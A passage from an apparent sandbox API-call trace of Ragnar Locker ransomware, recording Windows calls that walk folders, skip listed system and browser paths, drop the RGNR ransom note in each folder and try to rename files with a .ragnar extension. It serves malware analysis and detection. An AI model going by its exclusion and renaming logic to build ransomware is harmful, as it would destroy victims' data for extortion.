ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0058.284] lstrcmpiW (lpString1="sv-SE", lpString2=".") returned 1 [0058.284] lstrcmpiW (lpString1="sv-SE", lpString2="..") returned 1 [0058.284] lstrcmpiW (lpString1="sv-SE", lpString2="Windows") returned -1 [0058.284] lstrcmpiW (lpString1="sv-SE", lpString2="Windows.old") returned -1 [0058.284] lstrcmpiW (lpString1="sv-SE", lpString2="Tor browser") returned -1 [0058.284] lstrcmpiW (lpString1="sv-SE", lpString2="Internet Explorer") returned 1 [0058.284] lstrcmpiW (lpString1="sv-SE", lpString2="Google") returned 1 [0058.284] lstrcmpiW (lpString1="sv-SE", lpString2="Opera") returned 1 [0058.284] lstrcmpiW (lpString1="sv-SE", lpString2="Opera Software") returned 1 [0058.284] lstrcmpiW (lpString1="sv-SE", lpString2="Mozilla") returned 1 [0058.284] lstrcmpiW (lpString1="sv-SE", lpString2="Mozilla Firefox") returned 1 [0058.284] lstrcmpiW (lpString1="sv-SE", lpString2="$Recycle.Bin") returned 1 [0058.284] lstrcmpiW (lpString1="sv-SE", lpString2="ProgramData") returned 1 [0058.284] lstrcmpiW (lpString1="sv-SE", lpString2="All Users") returned 1 [0058.284] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.284] lstrcpyW (in: lpString1=0x1eb62e, lpString2="sv-SE" | out: lpString1="sv-SE") returned="sv-SE" [0058.284] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\" [0058.285] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\" [0058.285] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\RGNR_FD7BD9FC.txt" [0058.285] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0058.522] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*.*" [0058.522] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.522] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.522] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.522] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74fd90a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74fd90a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.522] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0058.523] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74fd90a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74fd90a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.523] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0058.523] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0058.523] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74fd90a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74fd90a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.523] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0058.523] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0058.523] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.523] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0058.523] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0058.523] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.523] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.523] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74fd90a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74fd90a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.523] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74fd90a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74fd90a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.523] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74fd90a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74fd90a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.523] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.523] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0058.523] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\RGNR_FD7BD9FC.txt") returned=".txt" [0058.524] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0058.524] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.524] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.524] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0058.524] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui") returned=".mui" [0058.524] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.524] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0058.524] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0058.524] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0058.524] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0058.524] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0058.524] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0058.524] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0058.524] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0058.524] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0058.524] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0058.524] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0058.524] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0058.524] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0058.524] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0058.524] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0058.525] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0058.525] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0058.525] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0058.525] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0058.525] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0058.525] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0058.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui")) returned 0x20 [0058.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.526] CloseHandle (hObject=0xffffffff) returned 0 [0058.526] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" [0058.526] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui.ragnar_FD7BD9FC" [0058.526] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.526] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.526] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.527] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0058.527] lstrcmpiW (lpString1="TabIpsps.dll", lpString2=".") returned 1 [0058.527] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="..") returned 1 [0058.527] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0058.527] lstrcmpiW (lpString1="tabskb.dll", lpString2=".") returned 1 [0058.527] lstrcmpiW (lpString1="tabskb.dll", lpString2="..") returned 1 [0058.527] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0058.527] lstrcmpiW (lpString1="TabTip.exe", lpString2=".") returned 1 [0058.527] lstrcmpiW (lpString1="TabTip.exe", lpString2="..") returned 1 [0058.527] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0058.527] lstrcmpiW (lpString1="th-TH", lpString2=".") returned 1 [0058.527] lstrcmpiW (lpString1="th-TH", lpString2="..") returned 1 [0058.527] lstrcmpiW (lpString1="th-TH", lpString2="Windows") returned -1 [0058.527] lstrcmpiW (lpString1="th-TH", lpString2="Windows.old") returned -1 [0058.527] lstrcmpiW (lpString1="th-TH", lpString2="Tor browser") returned -1 [0058.527] lstrcmpiW (lpString1="th-TH", lpString2="Internet Explorer") returned 1 [0058.527] lstrcmpiW (lpString1="th-TH", lpString2="Google") returned 1 [0058.527] lstrcmpiW (lpString1="th-TH", lpString2="Opera") returned 1 [0058.527] lstrcmpiW (lpString1="th-TH", lpString2="Opera Software") returned 1 [0058.527] lstrcmpiW (lpString1="th-TH", lpString2="Mozilla") returned 1 [0058.527] lstrcmpiW (lpString1="th-TH", lpString2="Mozilla Firefox") returned 1 [0058.527] lstrcmpiW (lpString1="th-TH", lpString2="$Recycle.Bin") returned 1 [0058.527] lstrcmpiW (lpString1="th-TH", lpString2="ProgramData") returned 1 [0058.527] lstrcmpiW (lpString1="th-TH", lpString2="All Users") returned 1 [0058.527] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.528] lstrcpyW (in: lpString1=0x1eb62e, lpString2="th-TH" | out: lpString1="th-TH") returned="th-TH" [0058.528] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\" [0058.528] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\" [0058.528] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\RGNR_FD7BD9FC.txt" [0058.528] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0058.530] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*.*" [0058.531] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.531] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.531] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.531] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x75214540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x75214540, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.531] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0058.531] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x75214540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x75214540, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.531] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0058.531] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0058.531] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75214540, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x75214540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.531] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0058.531] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0058.531] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.531] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0058.531] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0058.531] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.531] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.532] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x75214540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x75214540, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.532] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x75214540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x75214540, 